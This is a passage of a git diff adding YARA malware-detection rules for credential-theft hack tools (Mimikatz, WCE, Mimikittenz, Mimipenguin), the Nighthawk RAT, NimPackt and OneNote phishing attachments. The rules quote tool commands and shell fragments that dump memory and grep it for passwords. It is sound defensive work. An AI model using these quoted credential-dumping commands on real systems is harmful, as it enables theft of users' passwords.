+      $exe_x64_1      = { 33 ff 4? 89 37 4? 8b f3 45 85 c? 74}
+      $exe_x64_2      = { 4c 8b df 49 [0-3] c1 e3 04 48 [0-3] 8b cb 4c 03 [0-3] d8 }
+
+/*
+      $dll_1         = { c7 0? 00 00 01 00 [4-14] c7 0? 01 00 00 00 }
+      $dll_2         = { c7 0? 10 02 00 00 ?? 89 4? }
+*/
+
+      $sys_x86      = { a0 00 00 00 24 02 00 00 40 00 00 00 [0-4] b8 00 00 00 6c 02 00 00 40 00 00 00 }
+      $sys_x64      = { 88 01 00 00 3c 04 00 00 40 00 00 00 [0-4] e8 02 00 00 f8 02 00 00 40 00 00 00 }
+
+   condition:
+      (all of ($exe_x86_*)) or (all of ($exe_x64_*))
+      // or (all of ($dll_*))
+      or (any of ($sys_*))
+}
+
+rule wce
+{
+   meta:
+      description      = "wce"
+      author         = "Benjamin DELPY (gentilkiwi)"
+      tool_author      = "Hernan Ochoa (hernano)"
+      id = "857981ee-3f57-580b-8bfd-8d2109298e27"
+   strings:
+      $hex_legacy      = { 8b ff 55 8b ec 6a 00 ff 75 0c ff 75 08 e8 [0-3] 5d c2 08 00 }
+      $hex_x86      = { 8d 45 f0 50 8d 45 f8 50 8d 45 e8 50 6a 00 8d 45 fc 50 [0-8] 50 72 69 6d 61 72 79 00 }
+      $hex_x64      = { ff f3 48 83 ec 30 48 8b d9 48 8d 15 [0-16] 50 72 69 6d 61 72 79 00 }
+   condition:
+      any of them
+}
+
+rule power_pe_injection
+{
+   meta:
+      description      = "PowerShell with PE Reflective Injection"
+      author         = "Benjamin DELPY (gentilkiwi)"
+      id = "a71fe9f2-9c2a-5650-a5c7-116b76f10db6"
+   strings:
+      $str_loadlib   = "0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9"
+   condition:
+      $str_loadlib
+}
+
+rule Mimikatz_Logfile
+{
+   meta:
+      description = "Detects a log file generated by malicious hack tool mimikatz"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      score = 80
+      date = "2015/03/31"
+      id = "921d85fc-fb4d-57ed-b4ac-203d5c6f1e8e"
+   strings:
+      $s1 = "SID               :" ascii fullword
+      $s2 = "* NTLM     :" ascii fullword
+      $s3 = "Authentication Id :" ascii fullword
+      $s4 = "wdigest :" ascii fullword
+   condition:
+      all of them
+}
+
+rule Mimikatz_Strings {
+   meta:
+      description = "Detects Mimikatz strings"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "not set"
+      date = "2016-06-08"
+      score = 65
+      id = "d8f63b71-c66c-5c10-9268-2d8970f7c8a1"
+   strings:
+      $x1 = "sekurlsa::logonpasswords" fullword wide ascii
+      $x2 = "List tickets in MIT/Heimdall ccache" fullword ascii wide
+      $x3 = "kuhl_m_kerberos_ptt_file ; LsaCallKerberosPackage %08x" fullword ascii wide
+      $x4 = "* Injecting ticket :" fullword wide ascii
+      $x5 = "mimidrv.sys" fullword wide ascii
+      $x6 = "Lists LM & NTLM credentials" fullword wide ascii
+      $x7 = "\\_ kerberos -" wide ascii
+      $x8 = "* unknow   :" fullword wide ascii
+      $x9 = "\\_ *Password replace ->" wide ascii
+      $x10 = "KIWI_MSV1_0_PRIMARY_CREDENTIALS KO" ascii wide
+      $x11 = "\\\\.\\mimidrv" wide ascii
+      $x12 = "Switch to MINIDUMP :" fullword wide ascii
+      $x13 = "[masterkey] with password: %s (%s user)" fullword wide
+      $x14 = "Clear screen (doesn't work with redirections, like PsExec)" fullword wide
+      $x15 = "** Session key is NULL! It means allowtgtsessionkey is not set to 1 **" fullword wide
+      $x16 = "[masterkey] with DPAPI_SYSTEM (machine, then user): " fullword wide
+   condition:
+      (
+         ( uint16(0) == 0x5a4d and 1 of ($x*) ) or
+         ( 3 of them )
+      )
+      /* exclude false positives */
+      and not pe.imphash() == "77eaeca738dd89410a432c6bd6459907"
+}
+
+rule AppInitHook {
+   meta:
+      description = "AppInitGlobalHooks-Mimikatz - Hide Mimikatz From Process Lists - file AppInitHook.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/Z292v6"
+      date = "2015-07-15"
+      score = 70
+      hash = "e7563e4f2a7e5f04a3486db4cefffba173349911a3c6abd7ae616d3bf08cfd45"
+      id = "73713011-3083-5cdf-b59c-f4da67d2d2ab"
+   strings:
+      $s0 = "\\Release\\AppInitHook.pdb" ascii
+      $s1 = "AppInitHook.dll" fullword ascii
+      $s2 = "mimikatz.exe" fullword wide
+      $s3 = "]X86Instruction->OperandSize >= Operand->Length" fullword wide
+      $s4 = "mhook\\disasm-lib\\disasm.c" fullword wide
+      $s5 = "mhook\\disasm-lib\\disasm_x86.c" fullword wide
+      $s6 = "VoidFunc" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 500KB and 4 of them
+}
+
+rule HKTL_Mimikatz_SkeletonKey_in_memory_Aug20_1 {
+   meta:
+      description = "Detects Mimikatz SkeletonKey in Memory"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/sbousseaden/status/1292143504131600384?s=12"
+      date = "2020-08-09"
+      id = "e7c1c512-e944-5d87-ac57-cdc9ab7cf660"
+   strings:
+      $x1 = { 60 ba 4f ca c7 44 24 34 dc 46 6c 7a c7 44 24 38 
+              03 3c 17 81 c7 44 24 3c 94 c0 3d f6 }
+   condition:
+      1 of them
+}
+
+rule HKTL_mimikatz_memssp_hookfn {
+   meta:
+      description = "Detects Default Mimikatz memssp module in-memory"
+      author = "SBousseaden"
+      date = "2020-08-26"
+      reference = "https://github.com/sbousseaden/YaraHunts/blob/master/mimikatz_memssp_hookfn.yara"
+      score = 70
+      id = "89940110-8a5e-5a28-bf64-3b568f8ef1f8"
+   strings: 
+      $xc1 = { 48 81 EC A8 00 00 00 C7 84 24 88 00 00 00 ?? ?? 
+               ?? ?? C7 84 24 8C 00 00 00 ?? ?? ?? ?? C7 84 24 
+               90 00 00 00 ?? ?? ?? 00 C7 84 24 80 00 00 00 61 
+               00 00 00 C7 44 24 40 5B 00 25 00 C7 44 24 44 30 
+               00 38 00 C7 44 24 48 78 00 3A 00 C7 44 24 4C 25 
+               00 30 00 C7 44 24 50 38 00 78 00 C7 44 24 54 5D 
+               00 20 00 C7 44 24 58 25 00 77 00 C7 44 24 5C 5A 
+               00 5C 00 C7 44 24 60 25 00 77 00 C7 44 24 64 5A 
+               00 09 00 C7 44 24 68 25 00 77 00 C7 44 24 6C 5A 
+               00 0A 00 C7 44 24 70 00 00 00 00 48 8D 94 24 80 
+               00 00 00 48 8D 8C 24 88 00 00 00 48 B8 A0 7D ?? 
+               ?? ?? ?? 00 00 FF D0 } // memssp creds logging function
+      // $xc2 = {6D 69 6D 69 C7 84 24 8C 00 00 00 6C 73 61 2E C7 84 24 90 00 00 00 6C 6F 67} -  mimilsa.log
+   condition: 
+      $xc1 // you can set condition to $xc1 and not $xc2 to detect non lazy memssp users 
+}
+
+rule HKTL_mimikatz_icon {
+    meta:
+        description = "Detects mimikatz icon in PE file"
+        license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
+        author = "Arnim Rupp"
+        reference = "https://blog.gentilkiwi.com/mimikatz"
+        date = "2023-02-18"
+        score = 60
+        hash1 = "61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1"
+        hash2 = "1c3f584164ef595a37837701739a11e17e46f9982fdcee020cf5e23bad1a0925"
+        hash3 = "c6bb98b24206228a54493274ff9757ce7e0cbb4ab2968af978811cc4a98fde85"
+        hash4 = "721d3476cdc655305902d682651fffbe72e54a97cd7e91f44d1a47606bae47ab"
+        hash5 = "c0f3523151fa307248b2c64bdaac5f167b19be6fccff9eba92ac363f6d5d2595"
+        id = "2a5ea476-a30d-5eac-b57a-3fb49386c046"
+    strings:
+        $ico = {79 e1 d7 ff 7e e5 db ff 7f e8 dc ff 85 eb dd ff ba ff f1 ff 66 a0 b6 ff 01 38 61 ff 22 50 75 c3}
+    condition:
+        uint16(0) == 0x5A4D and
+        $ico and
+        filesize < 10MB
+}
+
diff --git a/yara-Neo23x0/gen_mimikittenz.yar b/yara-Neo23x0/gen_mimikittenz.yar
new file mode 100644
index 0000000..a111e9d
--- /dev/null
+++ b/yara-Neo23x0/gen_mimikittenz.yar
@@ -0,0 +1,29 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-19
+	Identifier: Mimikittenz
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Invoke_mimikittenz {
+	meta:
+		description = "Detects Mimikittenz - file Invoke-mimikittenz.ps1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/putterpanda/mimikittenz"
+		date = "2016-07-19"
+		score = 90
+		hash1 = "14e2f70470396a18c27debb419a4f4063c2ad5b6976f429d47f55e31066a5e6a"
+		id = "6dcf3d0a-302b-520c-97c6-fd843c8a25b9"
+	strings:
+		$x1 = "[mimikittenz.MemProcInspector]" ascii
+
+		$s1 = "PROCESS_ALL_ACCESS = PROCESS_TERMINATE | PROCESS_CREATE_THREAD | PROCESS_SET_SESSIONID | PROCESS_VM_OPERATION |" fullword ascii
+		$s2 = "IntPtr processHandle = MInterop.OpenProcess(MInterop.PROCESS_WM_READ | MInterop.PROCESS_QUERY_INFORMATION, false, process.Id);" fullword ascii
+		$s3 = "&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1=" ascii
+		$s4 = "[DllImport(\"kernel32.dll\", SetLastError = true)]" fullword ascii
+	condition:
+		( uint16(0) == 0x7566 and filesize < 60KB and 2 of them ) or $x1
+}
diff --git a/yara-Neo23x0/gen_mimipenguin.yar b/yara-Neo23x0/gen_mimipenguin.yar
new file mode 100644
index 0000000..6d1ea14
--- /dev/null
+++ b/yara-Neo23x0/gen_mimipenguin.yar
@@ -0,0 +1,69 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-04-01
+   Identifier: Mimipenguin
+*/
+
+rule Mimipenguin_SH {
+   meta:
+      description = "Detects Mimipenguin Password Extractor - Linux"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/huntergregal/mimipenguin"
+      date = "2017-04-01"
+      id = "c670f6fe-562d-598f-a73f-45e4ab234f7d"
+   strings:
+      $s1 = "$(echo $thishash | cut -d'$' -f 3)" ascii
+      $s2 = "ps -eo pid,command | sed -rn '/gnome\\-keyring\\-daemon/p' | awk" ascii
+      $s3 = "MimiPenguin Results:" ascii
+   condition:
+      1 of them
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-07-08
+   Identifier: Mimipenguin
+   Reference: https://github.com/huntergregal/mimipenguin
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule mimipenguin_1 {
+   meta:
+      description = "Detects Mimipenguin hack tool"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/huntergregal/mimipenguin"
+      date = "2017-07-08"
+      hash1 = "9e8d13fe27c93c7571075abf84a839fd1d31d8f2e3e48b3f4c6c13f7afcf8cbd"
+      id = "62754337-52ef-5d3f-af2f-52f820ba0476"
+   strings:
+      $x1 = "self._strings_dump += strings(dump_process(target_pid))" fullword ascii
+      $x2 = "def _dump_target_processes(self):" fullword ascii
+      $x3 = "self._target_processes = ['sshd:']" fullword ascii
+      $x4 = "GnomeKeyringPasswordFinder()" ascii
+   condition:
+      ( uint16(0) == 0x2123 and filesize < 20KB and 1 of them )
+}
+
+rule mimipenguin_2 {
+   meta:
+      description = "Detects Mimipenguin hack tool"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/huntergregal/mimipenguin"
+      date = "2017-07-08"
+      hash1 = "453bffa90d99a820e4235de95ec3f7cc750539e4023f98ffc8858f9b3c15d89a"
+      id = "b3bb1ba9-cbfc-53fd-81d0-256466ace4de"
+   strings:
+      $x1 = "DUMP=$(strings \"/tmp/dump.${pid}\" | grep -E" fullword ascii
+      $x2 = "strings /tmp/apache* | grep -E '^Authorization: Basic.+=$'" fullword ascii
+      $x3 = "grep -E '^_pammodutil_getpwnam_root_1$' -B 5 -A" fullword ascii
+      $x4 = "strings \"/tmp/dump.${pid}\" | grep -E -m 1 '^\\$.\\$.+\\$')\"" fullword ascii
+      $x5 = "if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep gnome-keyring) ]]; then" fullword ascii
+   condition:
+      ( uint16(0) == 0x2123 and filesize < 20KB and 1 of them )
+}
diff --git a/yara-Neo23x0/gen_net_xorstrings.yar b/yara-Neo23x0/gen_net_xorstrings.yar
new file mode 100644
index 0000000..fb62894
--- /dev/null
+++ b/yara-Neo23x0/gen_net_xorstrings.yar
@@ -0,0 +1,28 @@
+
+rule MSIL_SUSP_OBFUSC_XorStringsNet {
+    meta:
+        description = "Detects XorStringsNET string encryption, and other obfuscators derived from it"
+        author = "dr4k0nia"
+        version = "1.0"
+        reference = "https://github.com/dr4k0nia/yara-rules"
+        score = 75
+        date = "26/03/2023"
+        id = "f0724ca6-4bfe-5b88-9396-a58aa7461fd6"
+    strings:
+        $pattern = { 06 1E 58 07 8E 69 FE 17 }
+
+        // .NET marker
+        $a1 = "_CorDllMain" ascii
+        $a2 = "_CorExeMain" ascii
+        $a3 = "mscorlib" ascii fullword
+        $a4 = ".cctor" ascii fullword
+        $a5 = "System.Private.Corlib" ascii
+        $a6 = "<Module>" ascii fullword
+        $a7 = "<PrivateImplementationsDetails{" ascii
+    condition:
+        uint16(0) == 0x5a4d
+        and filesize < 25MB
+        and $pattern 
+        and 2 of ($a*)
+}
+
diff --git a/yara-Neo23x0/gen_nighthawk_c2.yar b/yara-Neo23x0/gen_nighthawk_c2.yar
new file mode 100644
index 0000000..ee52ea5
--- /dev/null
+++ b/yara-Neo23x0/gen_nighthawk_c2.yar
@@ -0,0 +1,50 @@
+import "pe"
+
+rule EXT_HKTL_Nighthawk_RAT
+{
+	meta:
+		description = "Detects Nighthawk RAT"
+		author = "Frank Boldewin (@r3c0nst)"
+		references = "https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice"
+		hash1 = "0551ca07f05c2a8278229c1dc651a2b1273a39914857231b075733753cb2b988"
+		hash2 = "9a57919cc5c194e28acd62719487c563a8f0ef1205b65adbe535386e34e418b8"
+		hash3 = "38881b87826f184cc91559555a3456ecf00128e01986a9df36a72d60fb179ccf"
+		hash4 = "f3bba2bfd4ed48b5426e36eba3b7613973226983a784d24d7a20fcf9df0de74e"
+		hash5 = "b775a8f7629966592cc7727e2081924a7d7cf83edd7447aa60627a2b67d87c94"
+		modified = "2022-11-30"
+    date = "2022-11-22"
+
+		id = "7a58b8bf-fb14-5758-bc2a-ad2c6fff1216"
+	strings:
+		$pattern1 = { 48 8d 0d ?? ?? ?? ?? 51 5a 48 81 c1 ?? ?? ?? ?? 48 81 c2 ?? ?? ?? ?? ff e2 }
+		$pattern2 = { 66 03 D2 66 33 D1 66 C1 E2 02 66 33 D1 66 23 D0 0F B7 C1 }
+		$pattern3 = { FF 7F 48 3B F0 48 0F 47 F0 48 8D }
+		$pattern4 = { 65 48 8B 04 25 30 00 00 00 8B 40 68 49 89 CA 0F 05 C3 }
+		$pattern5 = { 48 B8 AA AA AA AA AA AA AA 02 48 ?? ?? ?? ?? 0F 84 }
+		$pattern6 = { 65 48 8B 04 25 30 00 00 00 48 8B 80 }
+
+	condition:
+		uint16(0) == 0x5A4D and filesize < 2MB and
+		(3 of ($pattern*) or
+		(pe.section_index(".profile") and pe.section_index(".detourc") and pe.section_index(".detourd")))
+}
+
+rule HKTL_MAL_Nighthawk_Nov_2022_1 : nighthawk beacon {
+   meta:
+        description = "Detect the Nighthawk dropped beacon"
+        author = "Arkbird_SOLG"
+        reference = "https://web.archive.org/web/20221125224850/https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice"
+        date = "2022-11-22"
+        hash1 = "0551ca07f05c2a8278229c1dc651a2b1273a39914857231b075733753cb2b988"
+        hash2 = "9a57919cc5c194e28acd62719487c563a8f0ef1205b65adbe535386e34e418b8"
+        hash3 = "f3bba2bfd4ed48b5426e36eba3b7613973226983a784d24d7a20fcf9df0de74e"
+        score = 75
+        id = "a46d5034-e8e3-5c30-90d9-ea97b8384341"
+   strings:
+        $s1 = { 44 8b ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d c0 e8 [2] ff ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d 20 e8 [2] ff ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d 00 e8 [2] ff ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d e0 e8 [2] ff ff 33 d2 e9 ee 04 00 00 48 8d 44 24 68 48 89 44 24 20 41 b9 01 00 00 00 45 33 c0 48 8d 95 a0 00 00 00 ff 15 [2] 09 00 85 c0 0f 85 74 04 00 00 48 89 7c 24 28 48 89 7c 24 20 45 33 c9 45 33 c0 48 8d 15 [2] 0a 00 48 8b 4c 24 68 ff 15 [2] 09 00 85 }
+        $s2 = { 4d 85 c0 0f 84 83 00 00 00 49 21 18 33 d2 44 8d 43 01 33 c9 ff 15 [2] 08 00 48 8b f0 48 85 c0 74 6a 44 8d 43 04 48 8b d5 48 8b c8 ff 15 [2] 08 00 48 8b e8 48 85 c0 74 49 48 8d 44 24 70 33 d2 44 8d 4b 24 48 89 44 24 20 4c 8d 44 24 30 48 8b cd ff 15 [2] 08 00 8b }
+        $s3 = { 48 85 c0 0f 84 [2] 00 00 4d 8b cc 49 83 7c 24 18 08 72 04 4d 8b 0c 24 4d 8b c5 49 83 7d 18 08 72 04 4d 8b 45 00 49 8b ?? 49 83 ?? 18 08 72 03 49 8b }
+        $s4 = { 44 8b 44 24 44 4c 89 [2-3] 89 95 00 02 00 00 2b c7 8b d7 49 03 d0 48 03 d1 4c 8d 8d 00 02 00 00 44 8b c0 49 8b cf ff 15 [2] 04 00 33 d2 85 c0 0f 84 [2] ff ff 03 bd 00 02 00 00 8b 44 24 40 3b f8 48 8b 4d ?? 4c 8b }
+   condition:
+        uint16(0) == 0x5A4D and filesize > 60KB and all of ($s*) 
+}
diff --git a/yara-Neo23x0/gen_nimpackt.yar b/yara-Neo23x0/gen_nimpackt.yar
new file mode 100644
index 0000000..15d2741
--- /dev/null
+++ b/yara-Neo23x0/gen_nimpackt.yar
@@ -0,0 +1,23 @@
+
+rule HKTL_Nim_NimPackt : EXE FILE HKTL {
+    meta:
+        description = "Detects binaries generated with NimPackt v1"
+        author = "Cas van Cooten"
+        reference = "https://github.com/chvancooten/NimPackt-v1"
+        date = "2022-01-26"
+        score = 80
+        id = "3399d937-133f-5701-840e-eaf68b2f1ec9"
+    strings:
+        $nim1 = "fatal.nim" ascii fullword
+        $nim2 = "winim" ascii
+        $np1 = { 4E 69 6D 50 61 63 6B 74 }
+        $sus1 = { 61 6D 73 69 00 00 00 00 B8 57 00 07 80 C3 }
+        $sus2 = { 5B 2B 5D 20 49 6E 6A 65 63 74 65 64 }
+        $sus3 = { 5C 2D 2D 20 62 79 74 65 73 20 77 72 69 74 74 65 6E 3A }
+    condition:
+        uint16(0) == 0x5A4D and
+        filesize < 750KB and
+        1 of ($nim*) and (
+            $np1 or 2 of ($sus*)
+        )
+}
diff --git a/yara-Neo23x0/gen_nopowershell.yar b/yara-Neo23x0/gen_nopowershell.yar
new file mode 100644
index 0000000..ebbe574
--- /dev/null
+++ b/yara-Neo23x0/gen_nopowershell.yar
@@ -0,0 +1,23 @@
+/*
+	Yara Rule Set
+	Author: YarGen Rule Generator
+	Date: 2016-05-21
+	Identifier: No PowerShell
+*/
+
+rule No_PowerShell {
+	meta:
+		description = "Detects an C# executable used to circumvent PowerShell detection - file nps.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/Ben0xA/nps"
+		date = "2016-05-21"
+		score = 80
+		hash1 = "64f811b99eb4ae038c88c67ee0dc9b150445e68a2eb35ff1a0296533ae2edd71"
+		id = "362a61bc-2c10-5076-93be-9f8b5a9ae8ba"
+	strings:
+		$s1 = "nps.exe -encodedcommand {base64_encoded_command}" fullword wide
+		$s2 = "c:\\Development\\ghps\\nps\\nps\\obj\\x86\\Release\\nps.pdb" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 40KB and ( 1 of ($s*) ) ) or ( all of them )
+}
diff --git a/yara-Neo23x0/gen_nvidia_leaked_cert.yar b/yara-Neo23x0/gen_nvidia_leaked_cert.yar
new file mode 100644
index 0000000..fcf6d99
--- /dev/null
+++ b/yara-Neo23x0/gen_nvidia_leaked_cert.yar
@@ -0,0 +1,22 @@
+
+import "pe"
+
+rule SUSP_NVIDIA_LAPSUS_Leak_Compromised_Cert_Mar22_1 {
+   meta:
+      description = "Detects a binary signed with the leaked NVIDIA certifcate and compiled after March 1st 2022"
+      author = "Florian Roth (Nextron Systems)"
+      date = "2022-03-03"
+      modified = "2022-03-04"
+      score = 70
+      reference = "https://twitter.com/cyb3rops/status/1499514240008437762"
+      id = "8bc7460f-a1c4-5157-8c2d-34d3a6c9c7e9"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100MB and
+      pe.timestamp > 1646092800 and  // comment out to find all files signed with that certificate
+      for any i in (0 .. pe.number_of_signatures) : (
+         pe.signatures[i].issuer contains "VeriSign Class 3 Code Signing 2010 CA" and (
+            pe.signatures[i].serial == "43:bb:43:7d:60:98:66:28:6d:d8:39:e1:d0:03:09:f5" or
+            pe.signatures[i].serial == "14:78:1b:c8:62:e8:dc:50:3a:55:93:46:f5:dc:c5:18"
+         )
+   )
+}
diff --git a/yara-Neo23x0/gen_onenote_phish.yar b/yara-Neo23x0/gen_onenote_phish.yar
new file mode 100644
index 0000000..b7c0b59
--- /dev/null
+++ b/yara-Neo23x0/gen_onenote_phish.yar
@@ -0,0 +1,125 @@
+
+rule SUSP_Email_Suspicious_OneNote_Attachment_Jan23_1 {
+   meta:
+      description = "Detects suspicious OneNote attachment that embeds suspicious payload, e.g. an executable (FPs possible if the PE is attached separately)"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2023-01-27"
+      score = 65
+      id = "492b74c2-3b81-5dff-9244-8528565338c6"
+   strings:
+      /* OneNote FileDataStoreObject GUID https://blog.didierstevens.com/ */
+      $ge1 = "5xbjvWUmEUWkxI1NC3qer"
+      $ge2 = "cW471lJhFFpMSNTQt6nq"
+      $ge3 = "nFuO9ZSYRRaTEjU0Lep6s"
+
+      /* PE file DOS header */
+      $sp1 = "VGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZG"
+      $sp2 = "RoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2Rl"
+      $sp3 = "UaGlzIHByb2dyYW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZ"
+      $sp4 = "VGhpcyBwcm9ncmFtIG11c3QgYmUgcnVuIHVuZGVy"
+      $sp5 = "RoaXMgcHJvZ3JhbSBtdXN0IGJlIHJ1biB1bmRlc"
+      $sp6 = "UaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZX"
+      /* @echo off */
+      $se1 = "QGVjaG8gb2Zm"
+      $se2 = "BlY2hvIG9mZ"
+      $se3 = "AZWNobyBvZm"
+      /* <HTA:APPLICATION */
+      $se4 = "PEhUQTpBUFBMSUNBVElPTi"
+      $se5 = "xIVEE6QVBQTElDQVRJT04g"
+      $se6 = "8SFRBOkFQUExJQ0FUSU9OI"
+      /* LNK file magic header */
+      $se7 = "TAAAAAEUAg"
+      $se8 = "wAAAABFAIA"
+      $se9 = "MAAAAARQCA"
+   condition:
+      filesize < 5MB
+      and 1 of ($ge*)
+      and 1 of ($s*)
+}
+
+rule SUSP_Email_Suspicious_OneNote_Attachment_Jan23_2 {
+   meta:
+      description = "Detects suspicious OneNote attachment that has a file name often used in phishing attacks"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2023-01-27"
+      score = 65
+      id = "f8c58c73-2404-5ce6-8e8f-99b0dad84ad0"
+   strings:
+      /* .one\n\n5FJce */
+      $hc1 = { 2E 6F 6E 65 22 0D 0A 0D 0A 35 46 4A 63 65 }
+
+      $x01 = " attachment; filename=\"Invoice" nocase
+      $x02 = " attachment; filename=\"ORDER" nocase
+      $x03 = " attachment; filename=\"PURCHASE" nocase
+      $x04 = " attachment; filename=\"SHIP" nocase
+   condition:
+      filesize < 5MB 
+      and $hc1 
+      and 1 of ($x*)
+}
+
+rule SUSP_OneNote_Embedded_FileDataStoreObject_Type_Jan23_1 {
+   meta:
+      description = "Detects suspicious embedded file types in OneNote files"
+      author = "Florian Roth"
+      reference = "https://blog.didierstevens.com/"
+      date = "2023-01-27"
+      modified = "2023-02-27"
+      score = 65
+      id = "b8ea8c7b-052f-5a97-9577-99903462ea84"
+   strings:
+      /* GUID FileDataStoreObject https://blog.didierstevens.com/ */
+      $x1 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac 
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? 4d 5a } // PE
+      $x2 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac 
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? [0-4] 40 65 63 68 6f } // @echo off
+      $x3 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac 
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? [0-4] 40 45 43 48 4f } // @ECHO OFF
+      $x4 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac 
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? [0-4] 4F 6E 20 45 } // On Error Resume
+      $x5 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac 
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? [0-4] 6F 6E 20 65 } // on error resume
+      $x6 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? 4c 00 00 00 } // LNK file
+      $x7 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? 49 54 53 46 } // CHM file
+      $x8 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? [6-200] 3C 68 74 61 3A } // hta:
+      $x9 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? [6-200] 3C 48 54 41 3A } // HTA:
+      $x10 = { e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac
+              ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??
+              ?? ?? ?? ?? [6-200] 3C 6A 6F 62 20 } // WSF file "<job "
+   condition:
+      filesize < 10MB and 1 of them
+}
+
+rule SUSP_OneNote_Embedded_FileDataStoreObject_Type_Jan23_2 {
+   meta:
+      description = "Detects suspicious embedded file types in OneNote files"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.didierstevens.com/"
+      date = "2023-01-27"
+      score = 65
+      id = "0664d202-ab4c-57b6-91ee-ea21ac08909e"
+   strings:
+      /* GUID FileDataStoreObject https://blog.didierstevens.com/ */
+      $a1 = { 00 e7 16 e3 bd 65 26 11 45 a4 c4 8d 4d 0b 7a 9e ac }
+
+      $s1 = "<HTA:APPLICATION "
+   condition:
+      filesize < 5MB
+      and $a1 
+      and 1 of ($s*)
+}
diff --git a/yara-Neo23x0/gen_osx_backdoor_bella.yar b/yara-Neo23x0/gen_osx_backdoor_bella.yar
new file mode 100644
index 0000000..aed2b16
--- /dev/null
+++ b/yara-Neo23x0/gen_osx_backdoor_bella.yar
@@ -0,0 +1,42 @@
+
+rule OSX_backdoor_Bella {
+    meta:
+        description = "Bella MacOS/OSX backdoor"
+        author = "John Lambert @JohnLaTwC"
+        reference = "https://twitter.com/JohnLaTwC/status/911998777182924801"
+        date = "2018-02-23"
